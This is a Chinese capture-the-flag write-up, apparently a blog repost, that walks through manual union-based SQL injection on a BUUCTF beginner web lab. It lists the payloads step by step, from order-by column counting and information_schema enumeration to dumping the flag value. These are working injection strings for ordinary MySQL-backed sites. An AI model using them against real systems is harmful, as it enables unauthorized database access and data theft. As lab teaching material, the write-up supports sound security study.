【BUCTF】[第一章 web入门]SQL注入-1——手工注入全解析

解题步骤

  1. 根据注入位置数据类型将sql注入分类
  2. 利用order判断字段数
    order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3
  1. 利用 union select 联合查询
    将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3
  1. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 union select 1,database(),version() 
  1. 利用 union select 联合查询,获取表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where` table_schema='已知库名'
  1. 利用 union select 联合查询,获取字段名(列名)
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where` table_name='已知表名'
  1. 利用 union select 联合查询,获取字段值
?id=-1 union select 1,2,group_concat(已知字段名,':',已知字段名) from 已知表名

按照步骤依次进行

1.利用order判断字段数,order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=-1 )' order by 3 --+

Description
2.利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

?id=-1 )' union select 1,2,3 --+

爆出返回点
Description
3.利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1 )' union select 1,database(),version()--+

Description
获取到数据库名和数据库版本号,分别是
note5.5.64-MariaDB-1ubuntu0.14.04.1
4.利用 union select 联合查询,获取表名

?id=-1 )' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='note' --+

Description
获取到表名为fl4gnotes
5.利用 union select 联合查询,获取字段名(列名)

?id=-1 )' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+

Description
字段名为fllllag
6.利用 union select 联合查询,获取字段值

?id=-1 )' union select 1,2,fllllag from fl4g --+

Description
成功获取到flag值为:n1book{union_select_is_so_cool}

猜你喜欢

转载自blog.csdn.net/ON_Zero/article/details/129465802